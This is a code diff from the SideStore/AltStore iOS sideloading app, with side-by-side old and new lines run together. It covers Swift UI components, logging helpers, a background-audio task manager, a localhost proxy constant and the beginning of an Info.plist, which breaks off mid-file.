<subviews> <subviews>
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" translatesAutoresizingMaskIntoConstraints="NO" id="avS-dx-4iy" customClass="AppIconImageView" customModule="SideStore" customModuleProvider="target"> <imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" translatesAutoresizingMaskIntoConstraints="NO" id="avS-dx-4iy" customClass="AppIconImageView" customModule="AltStore" customModuleProvider="target">
<rect key="frame" x="14" y="14" width="60" height="60"/> <rect key="frame" x="14" y="14" width="60" height="60"/>
<constraints> <constraints>
<constraint firstAttribute="height" constant="60" id="6lU-H8-nEw"/> <constraint firstAttribute="height" constant="60" id="6lU-H8-nEw"/>
@@ -110,7 +110,7 @@
<color key="textColor" systemColor="secondaryLabelColor"/> <color key="textColor" systemColor="secondaryLabelColor"/>
<nil key="highlightedColor"/> <nil key="highlightedColor"/>
</label> </label>
<button opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="900" horizontalCompressionResistancePriority="900" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="tVx-3G-dcu" customClass="PillButton" customModule="SideStore" customModuleProvider="target"> <button opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="900" horizontalCompressionResistancePriority="900" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="tVx-3G-dcu" customClass="PillButton" customModule="AltStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="77" height="31"/> <rect key="frame" x="0.0" y="0.0" width="77" height="31"/>
<color key="backgroundColor" red="0.22352941179999999" green="0.4941176471" blue="0.39607843139999999" alpha="0.10000000000000001" colorSpace="custom" customColorSpace="sRGB"/> <color key="backgroundColor" red="0.22352941179999999" green="0.4941176471" blue="0.39607843139999999" alpha="0.10000000000000001" colorSpace="custom" customColorSpace="sRGB"/>
<constraints> <constraints>

View File

@@ -0,0 +1,43 @@
//
// AppIconImageView.swift
// AltStore
//
// Created by Riley Testut on 5/9/19.
// Copyright © 2019 Riley Testut. All rights reserved.
//
import UIKit
final class AppIconImageView: UIImageView
{
override func awakeFromNib()
{
super.awakeFromNib()
self.contentMode = .scaleAspectFill
self.clipsToBounds = true
self.backgroundColor = .white
if #available(iOS 13, *)
{
self.layer.cornerCurve = .continuous
}
else
{
if self.layer.responds(to: Selector(("continuousCorners")))
{
self.layer.setValue(true, forKey: "continuousCorners")
}
}
}
override func layoutSubviews()
{
super.layoutSubviews()
// Based off of 60pt icon having 12pt radius.
let radius = self.bounds.height / 5
self.layer.cornerRadius = radius
}
}

View File

@@ -8,8 +8,9 @@
import AVFoundation import AVFoundation
public final class BackgroundTaskManager { final class BackgroundTaskManager
public static let shared = BackgroundTaskManager() {
static let shared = BackgroundTaskManager()
private var isPlaying = false private var isPlaying = false
@@ -19,37 +20,45 @@ public final class BackgroundTaskManager {
private let audioEngineQueue: DispatchQueue private let audioEngineQueue: DispatchQueue
private init() { private init()
audioEngine = AVAudioEngine() {
audioEngine.mainMixerNode.outputVolume = 0.0 self.audioEngine = AVAudioEngine()
self.audioEngine.mainMixerNode.outputVolume = 0.0
player = AVAudioPlayerNode() self.player = AVAudioPlayerNode()
audioEngine.attach(player) self.audioEngine.attach(self.player)
do { do
{
let audioFileURL = Bundle.main.url(forResource: "Silence", withExtension: "m4a")! let audioFileURL = Bundle.main.url(forResource: "Silence", withExtension: "m4a")!
audioFile = try AVAudioFile(forReading: audioFileURL) self.audioFile = try AVAudioFile(forReading: audioFileURL)
audioEngine.connect(player, to: audioEngine.mainMixerNode, format: audioFile.processingFormat) self.audioEngine.connect(self.player, to: self.audioEngine.mainMixerNode, format: self.audioFile.processingFormat)
} catch { }
catch
{
fatalError("Error. \(error)") fatalError("Error. \(error)")
} }
audioEngineQueue = DispatchQueue(label: "com.altstore.BackgroundTaskManager") self.audioEngineQueue = DispatchQueue(label: "com.altstore.BackgroundTaskManager")
} }
} }
public extension BackgroundTaskManager { extension BackgroundTaskManager
func performExtendedBackgroundTask(taskHandler: @escaping ((Result<Void, Error>, @escaping () -> Void) -> Void)) { {
func finish() { func performExtendedBackgroundTask(taskHandler: @escaping ((Result<Void, Error>, @escaping () -> Void) -> Void))
player.stop() {
audioEngine.stop() func finish()
{
self.player.stop()
self.audioEngine.stop()
isPlaying = false self.isPlaying = false
} }
audioEngineQueue.sync { self.audioEngineQueue.sync {
do { do
{
try AVAudioSession.sharedInstance().setCategory(.playback, options: .mixWithOthers) try AVAudioSession.sharedInstance().setCategory(.playback, options: .mixWithOthers)
try AVAudioSession.sharedInstance().setActive(true) try AVAudioSession.sharedInstance().setActive(true)
@@ -68,7 +77,9 @@ public extension BackgroundTaskManager {
taskHandler(.success(())) { taskHandler(.success(())) {
finish() finish()
} }
} catch { }
catch
{
taskHandler(.failure(error)) { taskHandler(.failure(error)) {
finish() finish()
} }
@@ -77,9 +88,11 @@ public extension BackgroundTaskManager {
} }
} }
private extension BackgroundTaskManager { private extension BackgroundTaskManager
func scheduleAudioFile() { {
player.scheduleFile(audioFile, at: nil) { func scheduleAudioFile()
{
self.player.scheduleFile(self.audioFile, at: nil) {
self.audioEngineQueue.async { self.audioEngineQueue.async {
guard self.isPlaying else { return } guard self.isPlaying else { return }
self.scheduleAudioFile() self.scheduleAudioFile()

View File

@@ -8,18 +8,20 @@
import UIKit import UIKit
@objc final class BannerCollectionViewCell: UICollectionViewCell
final class BannerCollectionViewCell: UICollectionViewCell { {
private(set) var errorBadge: UIView? private(set) var errorBadge: UIView?
@IBOutlet private(set) var bannerView: AppBannerView! @IBOutlet private(set) var bannerView: AppBannerView!
override func awakeFromNib() { override func awakeFromNib()
{
super.awakeFromNib() super.awakeFromNib()
contentView.autoresizingMask = [.flexibleWidth, .flexibleHeight] self.contentView.autoresizingMask = [.flexibleWidth, .flexibleHeight]
contentView.preservesSuperviewLayoutMargins = true self.contentView.preservesSuperviewLayoutMargins = true
if #available(iOS 13.0, *) { if #available(iOS 13.0, *)
{
let errorBadge = UIView() let errorBadge = UIView()
errorBadge.translatesAutoresizingMaskIntoConstraints = false errorBadge.translatesAutoresizingMaskIntoConstraints = false
errorBadge.isHidden = true errorBadge.isHidden = true

View File

@@ -8,7 +8,8 @@
import UIKit import UIKit
final class Button: UIButton { final class Button: UIButton
{
override var intrinsicContentSize: CGSize { override var intrinsicContentSize: CGSize {
var size = super.intrinsicContentSize var size = super.intrinsicContentSize
size.width += 20 size.width += 20
@@ -16,21 +17,23 @@ final class Button: UIButton {
return size return size
} }
override func awakeFromNib() { override func awakeFromNib()
{
super.awakeFromNib() super.awakeFromNib()
setTitleColor(.white, for: .normal) self.setTitleColor(.white, for: .normal)
layer.masksToBounds = true self.layer.masksToBounds = true
layer.cornerRadius = 8 self.layer.cornerRadius = 8
update() self.update()
} }
override func tintColorDidChange() { override func tintColorDidChange()
{
super.tintColorDidChange() super.tintColorDidChange()
update() self.update()
} }
override var isHighlighted: Bool { override var isHighlighted: Bool {
@@ -41,17 +44,22 @@ final class Button: UIButton {
override var isEnabled: Bool { override var isEnabled: Bool {
didSet { didSet {
update() self.update()
} }
} }
} }
private extension Button { private extension Button
func update() { {
if isEnabled { func update()
backgroundColor = tintColor {
} else { if self.isEnabled
backgroundColor = .lightGray {
self.backgroundColor = self.tintColor
}
else
{
self.backgroundColor = .lightGray
} }
} }
} }

View File

@@ -0,0 +1,119 @@
//
// CollapsingTextView.swift
// AltStore
//
// Created by Riley Testut on 7/23/19.
// Copyright © 2019 Riley Testut. All rights reserved.
//
import UIKit
final class CollapsingTextView: UITextView
{
var isCollapsed = true {
didSet {
self.setNeedsLayout()
}
}
var maximumNumberOfLines = 2 {
didSet {
self.setNeedsLayout()
}
}
var lineSpacing: CGFloat = 2 {
didSet {
self.setNeedsLayout()
}
}
let moreButton = UIButton(type: .system)
override func awakeFromNib()
{
super.awakeFromNib()
self.layoutManager.delegate = self
self.textContainerInset = .zero
self.textContainer.lineFragmentPadding = 0
self.textContainer.lineBreakMode = .byTruncatingTail
self.textContainer.heightTracksTextView = true
self.textContainer.widthTracksTextView = true
self.moreButton.setTitle(NSLocalizedString("More", comment: ""), for: .normal)
self.moreButton.addTarget(self, action: #selector(CollapsingTextView.toggleCollapsed(_:)), for: .primaryActionTriggered)
self.addSubview(self.moreButton)
self.setNeedsLayout()
}
override func layoutSubviews()
{
super.layoutSubviews()
guard let font = self.font else { return }
let buttonFont = UIFont.systemFont(ofSize: font.pointSize, weight: .medium)
self.moreButton.titleLabel?.font = buttonFont
let buttonY = (font.lineHeight + self.lineSpacing) * CGFloat(self.maximumNumberOfLines - 1)
let size = self.moreButton.sizeThatFits(CGSize(width: 1000, height: 1000))
let moreButtonFrame = CGRect(x: self.bounds.width - self.moreButton.bounds.width,
y: buttonY,
width: size.width,
height: font.lineHeight)
self.moreButton.frame = moreButtonFrame
if self.isCollapsed
{
self.textContainer.maximumNumberOfLines = self.maximumNumberOfLines
let boundingSize = self.attributedText.boundingRect(with: CGSize(width: self.textContainer.size.width, height: .infinity), options: [.usesLineFragmentOrigin, .usesFontLeading], context: nil)
let maximumCollapsedHeight = font.lineHeight * Double(self.maximumNumberOfLines)
if boundingSize.height.rounded() > maximumCollapsedHeight.rounded()
{
var exclusionFrame = moreButtonFrame
exclusionFrame.origin.y += self.moreButton.bounds.midY
exclusionFrame.size.width = self.bounds.width // Extra wide to make sure it wraps to next line.
self.textContainer.exclusionPaths = [UIBezierPath(rect: exclusionFrame)]
self.moreButton.isHidden = false
}
else
{
self.textContainer.exclusionPaths = []
self.moreButton.isHidden = true
}
}
else
{
self.textContainer.maximumNumberOfLines = 0
self.textContainer.exclusionPaths = []
self.moreButton.isHidden = true
}
self.invalidateIntrinsicContentSize()
}
}
private extension CollapsingTextView
{
@objc func toggleCollapsed(_ sender: UIButton)
{
self.isCollapsed.toggle()
}
}
extension CollapsingTextView: NSLayoutManagerDelegate
{
func layoutManager(_ layoutManager: NSLayoutManager, lineSpacingAfterGlyphAt glyphIndex: Int, withProposedLineFragmentRect rect: CGRect) -> CGFloat
{
return self.lineSpacing
}
}

View File

@@ -8,12 +8,13 @@
import UIKit import UIKit
final class ForwardingNavigationController: UINavigationController { final class ForwardingNavigationController: UINavigationController
{
override var childForStatusBarStyle: UIViewController? { override var childForStatusBarStyle: UIViewController? {
self.topViewController return self.topViewController
} }
override var childForStatusBarHidden: UIViewController? { override var childForStatusBarHidden: UIViewController? {
topViewController return self.topViewController
} }
} }

View File

@@ -8,29 +8,32 @@
import UIKit import UIKit
import RoxasUIKit import Roxas
@objc final class NavigationBar: UINavigationBar
final class NavigationBar: UINavigationBar { {
@objc
@IBInspectable var automaticallyAdjustsItemPositions: Bool = true @IBInspectable var automaticallyAdjustsItemPositions: Bool = true
private let backgroundColorView = UIView() private let backgroundColorView = UIView()
override init(frame: CGRect) { override init(frame: CGRect)
{
super.init(frame: frame) super.init(frame: frame)
initialize() self.initialize()
} }
required init?(coder aDecoder: NSCoder) { required init?(coder aDecoder: NSCoder)
{
super.init(coder: aDecoder) super.init(coder: aDecoder)
initialize() self.initialize()
} }
private func initialize() { private func initialize()
if #available(iOS 13, *) { {
if #available(iOS 13, *)
{
let standardAppearance = UINavigationBarAppearance() let standardAppearance = UINavigationBarAppearance()
standardAppearance.configureWithDefaultBackground() standardAppearance.configureWithDefaultBackground()
standardAppearance.shadowColor = nil standardAppearance.shadowColor = nil
@@ -40,7 +43,8 @@ final class NavigationBar: UINavigationBar {
edgeAppearance.backgroundColor = self.barTintColor edgeAppearance.backgroundColor = self.barTintColor
edgeAppearance.shadowColor = nil edgeAppearance.shadowColor = nil
if let tintColor = self.barTintColor { if let tintColor = self.barTintColor
{
let textAttributes = [NSAttributedString.Key.foregroundColor: UIColor.white] let textAttributes = [NSAttributedString.Key.foregroundColor: UIColor.white]
standardAppearance.backgroundColor = tintColor standardAppearance.backgroundColor = tintColor
@@ -49,37 +53,48 @@ final class NavigationBar: UINavigationBar {
edgeAppearance.titleTextAttributes = textAttributes edgeAppearance.titleTextAttributes = textAttributes
edgeAppearance.largeTitleTextAttributes = textAttributes edgeAppearance.largeTitleTextAttributes = textAttributes
} else { }
else
{
standardAppearance.backgroundColor = nil standardAppearance.backgroundColor = nil
} }
self.scrollEdgeAppearance = edgeAppearance self.scrollEdgeAppearance = edgeAppearance
self.standardAppearance = standardAppearance self.standardAppearance = standardAppearance
} else { }
shadowImage = UIImage() else
{
self.shadowImage = UIImage()
if let tintColor = barTintColor { if let tintColor = self.barTintColor
backgroundColorView.backgroundColor = tintColor {
self.backgroundColorView.backgroundColor = tintColor
// Top = -50 to cover status bar area above navigation bar on any device. // Top = -50 to cover status bar area above navigation bar on any device.
// Bottom = -1 to prevent a flickering gray line from appearing. // Bottom = -1 to prevent a flickering gray line from appearing.
addSubview(backgroundColorView, pinningEdgesWith: UIEdgeInsets(top: -50, left: 0, bottom: -1, right: 0)) self.addSubview(self.backgroundColorView, pinningEdgesWith: UIEdgeInsets(top: -50, left: 0, bottom: -1, right: 0))
} else { }
barTintColor = .white else
{
self.barTintColor = .white
} }
} }
} }
override func layoutSubviews() { override func layoutSubviews()
{
super.layoutSubviews() super.layoutSubviews()
if backgroundColorView.superview != nil { if self.backgroundColorView.superview != nil
insertSubview(backgroundColorView, at: 1) {
self.insertSubview(self.backgroundColorView, at: 1)
} }
if automaticallyAdjustsItemPositions { if self.automaticallyAdjustsItemPositions
{
// We can't easily shift just the back button up, so we shift the entire content view slightly. // We can't easily shift just the back button up, so we shift the entire content view slightly.
for contentView in subviews { for contentView in self.subviews
{
guard NSStringFromClass(type(of: contentView)).contains("ContentView") else { continue } guard NSStringFromClass(type(of: contentView)).contains("ContentView") else { continue }
contentView.center.y -= 2 contentView.center.y -= 2
} }

View File

@@ -0,0 +1,192 @@
//
// PillButton.swift
// AltStore
//
// Created by Riley Testut on 7/15/19.
// Copyright © 2019 Riley Testut. All rights reserved.
//
import UIKit
final class PillButton: UIButton
{
override var accessibilityValue: String? {
get {
guard self.progress != nil else { return super.accessibilityValue }
return self.progressView.accessibilityValue
}
set { super.accessibilityValue = newValue }
}
var progress: Progress? {
didSet {
self.progressView.progress = Float(self.progress?.fractionCompleted ?? 0)
self.progressView.observedProgress = self.progress
let isUserInteractionEnabled = self.isUserInteractionEnabled
self.isIndicatingActivity = (self.progress != nil)
self.isUserInteractionEnabled = isUserInteractionEnabled
self.update()
}
}
var progressTintColor: UIColor? {
get {
return self.progressView.progressTintColor
}
set {
self.progressView.progressTintColor = newValue
}
}
var countdownDate: Date? {
didSet {
self.isEnabled = (self.countdownDate == nil)
self.displayLink.isPaused = (self.countdownDate == nil)
if self.countdownDate == nil
{
self.setTitle(nil, for: .disabled)
}
}
}
private let progressView = UIProgressView(progressViewStyle: .default)
private lazy var displayLink: CADisplayLink = {
let displayLink = CADisplayLink(target: self, selector: #selector(PillButton.updateCountdown))
displayLink.preferredFramesPerSecond = 15
displayLink.isPaused = true
displayLink.add(to: .main, forMode: .common)
return displayLink
}()
private let dateComponentsFormatter: DateComponentsFormatter = {
let dateComponentsFormatter = DateComponentsFormatter()
dateComponentsFormatter.zeroFormattingBehavior = [.pad]
dateComponentsFormatter.collapsesLargestUnit = false
return dateComponentsFormatter
}()
override var intrinsicContentSize: CGSize {
var size = super.intrinsicContentSize
size.width += 26
size.height += 3
return size
}
deinit
{
self.displayLink.remove(from: .main, forMode: RunLoop.Mode.default)
}
override func awakeFromNib()
{
super.awakeFromNib()
self.layer.masksToBounds = true
self.accessibilityTraits.formUnion([.updatesFrequently, .button])
self.activityIndicatorView.style = .medium
self.activityIndicatorView.isUserInteractionEnabled = false
self.progressView.progress = 0
self.progressView.trackImage = UIImage()
self.progressView.isUserInteractionEnabled = false
self.addSubview(self.progressView)
self.update()
}
override func layoutSubviews()
{
super.layoutSubviews()
self.progressView.bounds.size.width = self.bounds.width
let scale = self.bounds.height / self.progressView.bounds.height
self.progressView.transform = CGAffineTransform.identity.scaledBy(x: 1, y: scale)
self.progressView.center = CGPoint(x: self.bounds.midX, y: self.bounds.midY)
self.layer.cornerRadius = self.bounds.midY
}
override func tintColorDidChange()
{
super.tintColorDidChange()
self.update()
}
}
private extension PillButton
{
func update()
{
if self.progress == nil
{
self.setTitleColor(.white, for: .normal)
self.backgroundColor = self.tintColor
}
else
{
self.setTitleColor(self.tintColor, for: .normal)
self.backgroundColor = self.tintColor.withAlphaComponent(0.15)
}
self.progressView.progressTintColor = self.tintColor
}
@objc func updateCountdown()
{
guard let endDate = self.countdownDate else { return }
let startDate = Date()
let interval = endDate.timeIntervalSince(startDate)
guard interval > 0 else {
self.isEnabled = true
return
}
let text: String?
if interval < (1 * 60 * 60)
{
self.dateComponentsFormatter.unitsStyle = .positional
self.dateComponentsFormatter.allowedUnits = [.minute, .second]
text = self.dateComponentsFormatter.string(from: startDate, to: endDate)
}
else if interval < (2 * 24 * 60 * 60)
{
self.dateComponentsFormatter.unitsStyle = .positional
self.dateComponentsFormatter.allowedUnits = [.hour, .minute, .second]
text = self.dateComponentsFormatter.string(from: startDate, to: endDate)
}
else
{
self.dateComponentsFormatter.unitsStyle = .full
self.dateComponentsFormatter.allowedUnits = [.day]
let numberOfDays = endDate.numberOfCalendarDays(since: startDate)
text = String(format: NSLocalizedString("%@ DAYS", comment: ""), NSNumber(value: numberOfDays))
}
if let text = text
{
UIView.performWithoutAnimation {
self.isEnabled = false
self.setTitle(text, for: .disabled)
self.layoutIfNeeded()
}
}
else
{
self.isEnabled = true
}
}
}

View File

@@ -8,8 +8,8 @@
import UIKit import UIKit
@objc class TextCollectionReusableView: UICollectionReusableView
public class TextCollectionReusableView: UICollectionReusableView { {
@IBOutlet var textLabel: UILabel! @IBOutlet var textLabel: UILabel!
@IBOutlet var topLayoutConstraint: NSLayoutConstraint! @IBOutlet var topLayoutConstraint: NSLayoutConstraint!

View File

@@ -6,42 +6,48 @@
// Copyright © 2019 Riley Testut. All rights reserved. // Copyright © 2019 Riley Testut. All rights reserved.
// //
import RoxasUIKit import Roxas
import SideStoreCore import AltStoreCore
import SideKit
import AltSign
extension TimeInterval { extension TimeInterval
{
static let shortToastViewDuration = 4.0 static let shortToastViewDuration = 4.0
static let longToastViewDuration = 8.0 static let longToastViewDuration = 8.0
} }
final class ToastView: RSTToastView { final class ToastView: RSTToastView
{
var preferredDuration: TimeInterval var preferredDuration: TimeInterval
override init(text: String, detailText detailedText: String?) { override init(text: String, detailText detailedText: String?)
if detailedText == nil { {
preferredDuration = .shortToastViewDuration if detailedText == nil
} else { {
preferredDuration = .longToastViewDuration self.preferredDuration = .shortToastViewDuration
}
else
{
self.preferredDuration = .longToastViewDuration
} }
super.init(text: text, detailText: detailedText) super.init(text: text, detailText: detailedText)
isAccessibilityElement = true self.isAccessibilityElement = true
layoutMargins = UIEdgeInsets(top: 8, left: 16, bottom: 10, right: 16) self.layoutMargins = UIEdgeInsets(top: 8, left: 16, bottom: 10, right: 16)
setNeedsLayout() self.setNeedsLayout()
if let stackView = textLabel.superview as? UIStackView { if let stackView = self.textLabel.superview as? UIStackView
{
// RSTToastView does not expose stack view containing labels, // RSTToastView does not expose stack view containing labels,
// so we access it indirectly as the labels' superview. // so we access it indirectly as the labels' superview.
stackView.spacing = (detailedText != nil) ? 4.0 : 0.0 stackView.spacing = (detailedText != nil) ? 4.0 : 0.0
} }
} }
convenience init(error: Error) { convenience init(error: Error)
{
var error = error as NSError var error = error as NSError
var underlyingError = error.underlyingError var underlyingError = error.underlyingError
@@ -49,7 +55,7 @@ final class ToastView: RSTToastView {
if if
let unwrappedUnderlyingError = underlyingError, let unwrappedUnderlyingError = underlyingError,
error.domain == AltServerErrorDomain && error.code == -1 //ALTServerError.underlyingError().rawValue error.domain == AltServerErrorDomain && error.code == ALTServerError.Code.underlyingError.rawValue
{ {
// Treat underlyingError as the primary error. // Treat underlyingError as the primary error.
@@ -62,46 +68,54 @@ final class ToastView: RSTToastView {
let text: String let text: String
let detailText: String? let detailText: String?
if let failure = error.localizedFailure { if let failure = error.localizedFailure
{
text = failure text = failure
detailText = error.localizedFailureReason ?? error.localizedRecoverySuggestion ?? underlyingError?.localizedDescription ?? error.localizedDescription detailText = error.localizedFailureReason ?? error.localizedRecoverySuggestion ?? underlyingError?.localizedDescription ?? error.localizedDescription
} else if let reason = error.localizedFailureReason { }
else if let reason = error.localizedFailureReason
{
text = reason text = reason
detailText = error.localizedRecoverySuggestion ?? underlyingError?.localizedDescription detailText = error.localizedRecoverySuggestion ?? underlyingError?.localizedDescription
} else { }
else
{
text = error.localizedDescription text = error.localizedDescription
detailText = underlyingError?.localizedDescription ?? error.localizedRecoverySuggestion detailText = underlyingError?.localizedDescription ?? error.localizedRecoverySuggestion
} }
self.init(text: text, detailText: detailText) self.init(text: text, detailText: detailText)
if let preferredDuration = preferredDuration { if let preferredDuration = preferredDuration
{
self.preferredDuration = preferredDuration self.preferredDuration = preferredDuration
} }
} }
@available(*, unavailable) required init(coder aDecoder: NSCoder) {
required init(coder _: NSCoder) {
fatalError("init(coder:) has not been implemented") fatalError("init(coder:) has not been implemented")
} }
override func layoutSubviews() { override func layoutSubviews()
{
super.layoutSubviews() super.layoutSubviews()
// Rough calculation to determine height of ToastView with one-line textLabel. // Rough calculation to determine height of ToastView with one-line textLabel.
let minimumHeight = textLabel.font.lineHeight.rounded() + 18 let minimumHeight = self.textLabel.font.lineHeight.rounded() + 18
layer.cornerRadius = minimumHeight / 2 self.layer.cornerRadius = minimumHeight/2
} }
func show(in viewController: UIViewController) { func show(in viewController: UIViewController)
show(in: viewController.navigationController?.view ?? viewController.view, duration: preferredDuration) {
self.show(in: viewController.navigationController?.view ?? viewController.view, duration: self.preferredDuration)
} }
override func show(in view: UIView, duration: TimeInterval) { override func show(in view: UIView, duration: TimeInterval)
{
super.show(in: view, duration: duration) super.show(in: view, duration: duration)
let announcement = (textLabel.text ?? "") + ". " + (detailTextLabel.text ?? "") let announcement = (self.textLabel.text ?? "") + ". " + (self.detailTextLabel.text ?? "")
accessibilityLabel = announcement self.accessibilityLabel = announcement
// Minimum 0.75 delay to prevent announcement being cut off by VoiceOver. // Minimum 0.75 delay to prevent announcement being cut off by VoiceOver.
DispatchQueue.main.asyncAfter(deadline: .now() + 0.75) { DispatchQueue.main.asyncAfter(deadline: .now() + 0.75) {
@@ -109,7 +123,8 @@ final class ToastView: RSTToastView {
} }
} }
override func show(in view: UIView) { override func show(in view: UIView)
show(in: view, duration: preferredDuration) {
self.show(in: view, duration: self.preferredDuration)
} }
} }

View File

@@ -0,0 +1,17 @@
//
// Proxy.swift
// SideStore
//
// Created by Joseph Mattiello on 11/7/22.
// Copyright © 2022 Riley Testut. All rights reserved.
//
import Foundation
public extension Consts {
enum Proxy {
static let address = "127.0.0.1"
static let port = "51820"
static let serverURL = "\(address):\(port)"
}
}

View File

@@ -8,4 +8,6 @@
import Foundation import Foundation
public enum Consts {} public enum Consts {
}

View File

@@ -7,25 +7,27 @@
// //
import Foundation import Foundation
import OSLog
#if canImport(Logging)
import Logging
#endif
extension FileManager { extension FileManager
func directorySize(at directoryURL: URL) -> Int? { {
func directorySize(at directoryURL: URL) -> Int?
{
guard let enumerator = FileManager.default.enumerator(at: directoryURL, includingPropertiesForKeys: [.fileSizeKey]) else { return nil } guard let enumerator = FileManager.default.enumerator(at: directoryURL, includingPropertiesForKeys: [.fileSizeKey]) else { return nil }
var total = 0 var total: Int = 0
for case let fileURL as URL in enumerator { for case let fileURL as URL in enumerator
do { {
do
{
let resourceValues = try fileURL.resourceValues(forKeys: [.fileSizeKey]) let resourceValues = try fileURL.resourceValues(forKeys: [.fileSizeKey])
guard let fileSize = resourceValues.fileSize else { continue } guard let fileSize = resourceValues.fileSize else { continue }
total += fileSize total += fileSize
} catch { }
os_log("Failed to read file size for item: %@. %@", type: .error, fileURL.absoluteString, error.localizedDescription) catch
{
print("Failed to read file size for item: \(fileURL).", error)
} }
} }

View File

@@ -10,8 +10,10 @@ import Intents
// Requires iOS 14 in-app intent handling. // Requires iOS 14 in-app intent handling.
@available(iOS 14, *) @available(iOS 14, *)
extension INInteraction { extension INInteraction
static func refreshAllApps() -> INInteraction { {
static func refreshAllApps() -> INInteraction
{
let refreshAllIntent = RefreshAllIntent() let refreshAllIntent = RefreshAllIntent()
refreshAllIntent.suggestedInvocationPhrase = NSString.deferredLocalizedIntentsString(with: "Refresh my apps") as String refreshAllIntent.suggestedInvocationPhrase = NSString.deferredLocalizedIntentsString(with: "Refresh my apps") as String

View File

@@ -12,6 +12,7 @@ import OSLog
public let customLog = OSLog(subsystem: "org.sidestore.sidestore", public let customLog = OSLog(subsystem: "org.sidestore.sidestore",
category: "ios") category: "ios")
public extension OSLog { public extension OSLog {
/// Error logger extension /// Error logger extension
/// - Parameters: /// - Parameters:
@@ -48,7 +49,7 @@ public extension OSLog {
/// - message: String or format string /// - message: String or format string
/// - args: optional args for format string /// - args: optional args for format string
@inlinable @inlinable
public func ELOG(_ message: StaticString, file _: StaticString = #file, function _: StaticString = #function, line _: UInt = #line, _ args: CVarArg...) { public func ELOG(_ message: StaticString, file: StaticString = #file, function: StaticString = #function, line: UInt = #line, _ args: CVarArg...) {
OSLog.error(message, args) OSLog.error(message, args)
} }
@@ -57,7 +58,7 @@ public func ELOG(_ message: StaticString, file _: StaticString = #file, function
/// - message: String or format string /// - message: String or format string
/// - args: optional args for format string /// - args: optional args for format string
@inlinable @inlinable
public func ILOG(_ message: StaticString, file _: StaticString = #file, function _: StaticString = #function, line _: UInt = #line, _ args: CVarArg...) { public func ILOG(_ message: StaticString, file: StaticString = #file, function: StaticString = #function, line: UInt = #line, _ args: CVarArg...) {
OSLog.info(message, args) OSLog.info(message, args)
} }
@@ -66,8 +67,8 @@ public func ILOG(_ message: StaticString, file _: StaticString = #file, function
/// - message: String or format string /// - message: String or format string
/// - args: optional args for format string /// - args: optional args for format string
@inlinable @inlinable
public func DLOG(_ message: StaticString, file _: StaticString = #file, function _: StaticString = #function, line _: UInt = #line, _ args: CVarArg...) { public func DLOG(_ message: StaticString, file: StaticString = #file, function: StaticString = #function, line: UInt = #line, _ args: CVarArg...) {
OSLog.debug(message, args) OSLog.debug(message, args)
} }
// MARK: Helpers // mark: Helpers

View File

@@ -6,10 +6,11 @@
// Copyright © 2020 Riley Testut. All rights reserved. // Copyright © 2020 Riley Testut. All rights reserved.
// //
import ARKit
import UIKit import UIKit
import ARKit
extension UIDevice { extension UIDevice
{
var isJailbroken: Bool { var isJailbroken: Bool {
if if
FileManager.default.fileExists(atPath: "/Applications/Cydia.app") || FileManager.default.fileExists(atPath: "/Applications/Cydia.app") ||
@@ -21,7 +22,9 @@ extension UIDevice {
UIApplication.shared.canOpenURL(URL(string:"cydia://")!) UIApplication.shared.canOpenURL(URL(string:"cydia://")!)
{ {
return true return true
} else { }
else
{
return false return false
} }
} }

View File

@@ -8,32 +8,37 @@
import AudioToolbox import AudioToolbox
import CoreHaptics import CoreHaptics
import UIKit
private extension SystemSoundID { private extension SystemSoundID
{
static let pop = SystemSoundID(1520) static let pop = SystemSoundID(1520)
static let cancelled = SystemSoundID(1521) static let cancelled = SystemSoundID(1521)
static let tryAgain = SystemSoundID(1102) static let tryAgain = SystemSoundID(1102)
} }
@available(iOS 13, *) @available(iOS 13, *)
extension UIDevice { extension UIDevice
enum VibrationPattern { {
enum VibrationPattern
{
case success case success
case error case error
} }
} }
@available(iOS 13, *) @available(iOS 13, *)
extension UIDevice { extension UIDevice
{
var isVibrationSupported: Bool { var isVibrationSupported: Bool {
CHHapticEngine.capabilitiesForHardware().supportsHaptics return CHHapticEngine.capabilitiesForHardware().supportsHaptics
} }
func vibrate(pattern: VibrationPattern) { func vibrate(pattern: VibrationPattern)
guard isVibrationSupported else { return } {
guard self.isVibrationSupported else { return }
switch pattern { switch pattern
{
case .success: AudioServicesPlaySystemSound(.tryAgain) case .success: AudioServicesPlaySystemSound(.tryAgain)
case .error: AudioServicesPlaySystemSound(.cancelled) case .error: AudioServicesPlaySystemSound(.cancelled)
} }

View File

@@ -8,8 +8,9 @@
import UIKit import UIKit
extension UIScreen { extension UIScreen
{
var isExtraCompactHeight: Bool { var isExtraCompactHeight: Bool {
fixedCoordinateSpace.bounds.height < 600 return self.fixedCoordinateSpace.bounds.height < 600
} }
} }

212
AltStore/Info.plist Normal file
View File

@@ -0,0 +1,212 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>ALTAppGroups</key>
<array>
<string>group.$(APP_GROUP_IDENTIFIER)</string>
<string>group.com.SideStore.SideStore</string>
</array>
<key>ALTDeviceID</key>
<string>00008101-000129D63698001E</string>
<key>ALTPairingFile</key>
<string>&lt;insert pairing file here&gt;</string>
<key>ALTServerID</key>
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
<key>ALTAnisetteURL</key>
<string>https://ani.sidestore.io</string>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleDocumentTypes</key>
<array>
<dict>
<key>CFBundleTypeIconFiles</key>
<array />
<key>CFBundleTypeName</key>
<string>iOS App</string>
<key>CFBundleTypeRole</key>
<string>Viewer</string>
<key>LSHandlerRank</key>
<string>Alternate</string>
<key>LSItemContentTypes</key>
<array>
<string>com.apple.itunes.ipa</string>
